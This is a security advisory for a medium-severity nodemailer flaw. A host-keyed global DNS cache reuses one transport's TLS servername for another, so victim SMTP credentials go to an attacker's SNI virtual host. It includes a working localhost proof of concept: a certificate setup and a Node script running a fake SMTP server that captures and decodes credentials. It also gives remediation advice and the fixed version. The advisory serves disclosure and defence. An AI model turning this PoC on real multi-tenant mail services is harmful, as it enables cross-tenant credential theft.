GHSA-6vj9-mwq6-2f5v: Medium severity npm/nodemailer vulnerability

Published Sep 28, 2026
·
Updated

Summary

Nodemailer's process-global DNS cache is keyed only by host, but each cache entry also stores the caller-specific TLS servername. When two direct SMTPS transports use the same DNS host with different tls.servername values, the first transport's server name is returned to the second transport and overwrites its explicitly configured value.

As a result, Nodemailer sends the wrong SNI value and verifies the peer certificate against the wrong identity. In a multi-tenant service or SNI-routed SMTP gateway, one tenant can prime the cache so that a victim transport connects to the attacker's TLS virtual host, accepts the attacker's certificate with rejectUnauthorized: true, and sends the victim's SMTP credentials to it.

Affected component

- Ecosystem: npm - Package: nodemailer - Repository: https://github.com/nodemailer/nodemailer - Tested version: 10.0.1 - Tested commit: 40d52215aac65b811d7e131bc916f68605efd9d2 - Runtime-confirmed vulnerable versions: 5.0.0 and 10.0.1 - Affected versions: >= 5.0.0, <= 10.0.1 - Patched versions: None known at the time of this report - Affected mode: Direct TLS/SMTPS connections (secure: true) where different transports use the same non-IP host and different TLS servername values

The vulnerable cache implementation was introduced in commit 6859b5dd96c8d9f0070a3169a877181b71df4a3b on 2018-12-28. Git history shows v5.0.0 as the first release tag containing that commit. The behavior remains present in v10.0.1.

Details

Root cause

src/shared/index.ts defines one module-global DNS cache, keyed only by the DNS host:

ts export const dnsCache = new Map<string, DnsCacheEntry>();

Although the cache key contains only host, the cached value contains both DNS addresses and the request-specific TLS identity:

ts const value: DnsCacheValue = { addresses: allAddresses, servername: options.servername || host };

dnsCache.set(host, { value, expires: Date.now() + (options.dnsTtl || DNSTTL) });

On a cache hit, resolveHostname() returns the cached servername without considering the current call's options.servername:

ts if (!cached.expires || cached.expires >= now) { return callback( null, formatDNSValue(cached.value, { cached: true }) ); }

formatDNSValue() copies that stale value into the result:

ts return Object.assign( { servername: value.servername, host, addresses: addresses }, extra || {} );

For a direct TLS connection, SMTPConnection.connect() initially copies the current transport's TLS configuration into opts. resolveAndConnect() then overwrites every truthy field with the cached resolver result, including opts.servername:

ts Object.assign(opts, this.options.tls || {});

if (this.servername && !opts.servername) { opts.servername = this.servername; }

return this.resolveAndConnect(opts, resolved => { this.connectToHost(opts, this.secureConnection); });

ts for (const key of Object.keys(resolved!)) { if (key.charAt(0) !== '' && (resolved as { [key: string]: any })[key]) { (opts as { [key: string]: any })[key] = (resolved as { [key: string]: any })[key]; } }

The resulting opts object is passed to tls.connect(). Node therefore sends the cached server name as SNI and verifies the certificate against that cached name, rather than against the server name explicitly configured for the current transport.

The default DNS cache TTL is five minutes:

ts const DNSTTL = 5 60 1000;

Code path

text Tenant A: createTransport({ host: H, secure: true, tls: { servername: attackerName } }) -> SMTPConnection.connect() -> resolveAndConnect(opts) -> shared.resolveHostname({ host: H, servername: attackerName }) -> dnsCache.set(H, { addresses, servername: attackerName })

Victim: createTransport({ host: H, secure: true, tls: { servername: victimName } }) -> SMTPConnection.connect() -> opts.servername = victimName -> resolveAndConnect(opts) -> shared.resolveHostname({ host: H, servername: victimName }) -> dnsCache.get(H) -> returns cached servername = attackerName -> resolveAndConnect overwrites opts.servername -> tls.connect({ servername: attackerName }) -> attacker SNI virtual host and certificate are selected -> AUTH transmits victim SMTP credentials

Relevant source locations in the tested revision

- src/shared/index.ts:184 — five-minute default cache TTL - src/shared/index.ts:245 — process-global cache keyed by host - src/shared/index.ts:247-262 — cached servername returned by formatDNSValue() - src/shared/index.ts:292-323 — host-only lookup and cache-hit return - src/shared/index.ts:350-359 — caller-specific servername stored in host-only cache - src/smtp-connection/index.ts:713-729 — direct TLS options and resolver call - src/smtp-connection/index.ts:741-763 — cached fields overwrite current connection options

PoC

Prerequisites

- Node.js 20 (tested with Node.js 20.20.2) - A checkout/build of Nodemailer 10.0.1 - OpenSSL to generate the local test certificate

No external SMTP server or network access is required.

1. Generate a certificate for only attacker.test

Create openssl.cnf:

ini [req] distinguishedname = dn x509extensions = ext prompt = no

[dn] CN = attacker.test

[ext] subjectAltName = DNS:attacker.test basicConstraints = critical,CA:TRUE keyUsage = critical,digitalSignature,keyEncipherment,keyCertSign extendedKeyUsage = serverAuth

Generate the certificate and private key:

bash openssl req -x509 -newkey rsa:2048 -nodes -days 1 \ -keyout attacker-key.pem -out attacker-cert.pem -config openssl.cnf

2. Save the following as poc-dns-cache-servername-confusion.mjs

Adjust the two import paths if the PoC is not saved beside the repository checkout.

js import fs from 'node:fs'; import tls from 'node:tls'; import nodemailer from '../../nodemailer/dist/esm/nodemailer.js'; import as shared from '../../nodemailer/dist/esm/shared/index.js';

const cert = fs.readFileSync(new URL('./tls-fixture/attacker-cert.pem', import.meta.url)); const key = fs.readFileSync(new URL('./tls-fixture/attacker-key.pem', import.meta.url)); const observedSni = []; const observedAuth = [];

const server = tls.createServer({ key, cert }, socket => { observedSni.push(socket.servername); socket.write('220 attacker.test ESMTP\r\n'); let input = ''; socket.on('data', chunk => { input += chunk.toString(); let end; while ((end = input.indexOf('\r\n')) >= 0) { const line = input.slice(0, end); input = input.slice(end + 2); if (/^EHLO /i.test(line)) { socket.write('250-attacker.test\r\n250 AUTH PLAIN\r\n'); } else if (/^AUTH /i.test(line)) { observedAuth.push(line); socket.write('235 2.7.0 Authentication successful\r\n'); } else if (/^QUIT/i.test(line)) { socket.end('221 Bye\r\n'); } else { socket.write('250 OK\r\n'); } } }); });

await new Promise(resolve => server.listen(0, '127.0.0.1', resolve));

try { shared.dnsCache.clear();

// Tenant A seeds the process-global cache for the shared DNS host. const attackerTransport = nodemailer.createTransport({ host: 'localhost', port: server.address().port, secure: true, auth: { user: 'attacker@example.test', pass: 'attacker-secret' }, tls: { ca: cert, servername: 'attacker.test', rejectUnauthorized: true } }); await attackerTransport.verify(); attackerTransport.close();

// The victim explicitly configures a different TLS identity. const victimTransport = nodemailer.createTransport({ host: 'localhost', port: server.address().port, secure: true, auth: { user: 'victim@example.test', pass: 'victim-secret' }, tls: { ca: cert, servername: 'victim.test', rejectUnauthorized: true } }); await victimTransport.verify(); victimTransport.close();

const decoded = observedAuth.map(line => line.startsWith('AUTH PLAIN ') ? Buffer.from(line.slice('AUTH PLAIN '.length), 'base64').toString() : null );

console.log(JSON.stringify({ attackerConfiguredServername: 'attacker.test', victimConfiguredServername: 'victim.test', serverObservedSniForBothConnections: observedSni, serverReceivedCredentials: decoded }, null, 2)); } finally { shared.dnsCache.clear(); await new Promise(resolve => server.close(resolve)); }

3. Build and run

From the Nodemailer checkout:

bash npm install npm run build node ../audit/nodemailer/poc-dns-cache-servername-confusion.mjs

Observed result

json { "attackerConfiguredServername": "attacker.test", "victimConfiguredServername": "victim.test", "serverObservedSniForBothConnections": [ "attacker.test", "attacker.test" ], "serverReceivedCredentials": [ "\\u0000attacker@example.test\\u0000attacker-secret", "\\u0000victim@example.test\\u0000victim-secret" ] }

The victim configured victim.test, but the server observes attacker.test for both handshakes. The local certificate contains only attacker.test, yet the victim connection succeeds with rejectUnauthorized: true and then sends the victim's username and password.

Expected result

The second connection must use victim.test for SNI and certificate hostname verification. With the PoC certificate, it should fail with a hostname mismatch before SMTP authentication occurs. It must never transmit victim credentials after validating the peer as attacker.test.

Impact

The vulnerability affects long-running applications that create multiple Nodemailer transports in one process and let separate tenants or security domains configure transports that share a DNS host. A practical example is an email platform whose SMTP gateway uses SNI to route several customer-specific SMTP endpoints behind one hostname.

An attacker who can create or exercise one transport can prime the global cache with the shared host and the attacker's tls.servername. During the cache lifetime, a victim's direct SMTPS connection to that host can:

1. send the attacker's server name as SNI; 2. be routed to the attacker's TLS virtual host; 3. validate the attacker's certificate against the stale name, even though strict certificate validation is enabled; and 4. transmit the victim's SMTP username and password to that endpoint.

Possession of SMTP credentials may also let the attacker read or change mail account state where the provider reuses those credentials, or send mail as the victim. The exact secondary impact depends on the SMTP provider.

Where the attacker cannot control an SNI virtual host, stale cross-transport SNI can still cause certificate mismatch failures and cross-tenant availability impact.

Preconditions and limitations

- Two transports must execute in the same Node.js process within the cache lifetime. - They must use the same non-IP host cache key and different tls.servername values. - Credential interception requires an endpoint or gateway that routes connections using SNI, or another deployment where the attacker controls the endpoint selected by the stale name. - The demonstrated path uses direct SMTPS (secure: true). The STARTTLS upgrade path constructs TLS options separately and is not claimed vulnerable by this report.

Suggested remediation

The DNS cache should store DNS data only. servername is connection-specific TLS policy and should not be persisted in a cache keyed solely by hostname.

One approach is to remove servername from DnsCacheValue and derive the returned value from the current request on every path:

ts return { host: selectedAddress, servername: options.servername || options.host || false, addresses: addresses, cached: true };

As defense in depth, resolveAndConnect() should not overwrite an explicitly configured opts.servername with resolver metadata. Keying the cache by both host and server name would avoid this particular collision, but keeping TLS identity out of a DNS-address cache provides a cleaner separation.

A regression test should create two direct-TLS transports in the same process with the same DNS host and different explicit server names, then assert that each TLS connection observes and verifies its own configured name regardless of cache order.

Affected Software

1 affected componentFixes available
npm/nodemailer>=5.0.0<10.0.2
10.0.2

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade npm/nodemailer to a version that resolves this vulnerability.

    Fixed in 10.0.2
  2. Compensating control

    Modify Nodemailer's process-global DNS cache so it stores DNS data only: remove connection-specific servername from DnsCacheValue and derive the TLS server name from the current request instead of cached resolver metadata. Ensure _resolveAndConnect() does not overwrite an explicitly configured opts.servername with cached data.

Event History

Sep 28, 2026
Advisory Published
via GitHub·09:56 PM
Data Sourced
via GitHub·09:56 PM
DescriptionSeverityWeaknessAffected Software

Frequently Asked Questions

1

Which deployments are realistically exposed?

Deployments using direct TLS/SMTPS transports are affected when more than one transport uses the same DNS host but specifies different tls.servername values. This is particularly relevant to multi-tenant services and SNI-routed SMTP gateways.

2

What does an attacker need to do to exploit this?

An attacker needs to be able to cause a transport using the shared DNS host to populate Nodemailer’s process-global DNS cache first with the attacker-controlled TLS server name. A subsequent victim transport using the same host can then use that cached server name instead of its explicitly configured value.

3

What is the impact if exploitation succeeds?

The victim transport can connect to the attacker’s TLS virtual host, validate the attacker’s certificate even with rejectUnauthorized set to true, and send its SMTP credentials to that host.

4

What can be done if patching is not immediately possible?

Avoid sharing a DNS host between direct SMTPS transports that require different tls.servername values. Separating those transports so they do not run in the same process also avoids sharing the process-global cache.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203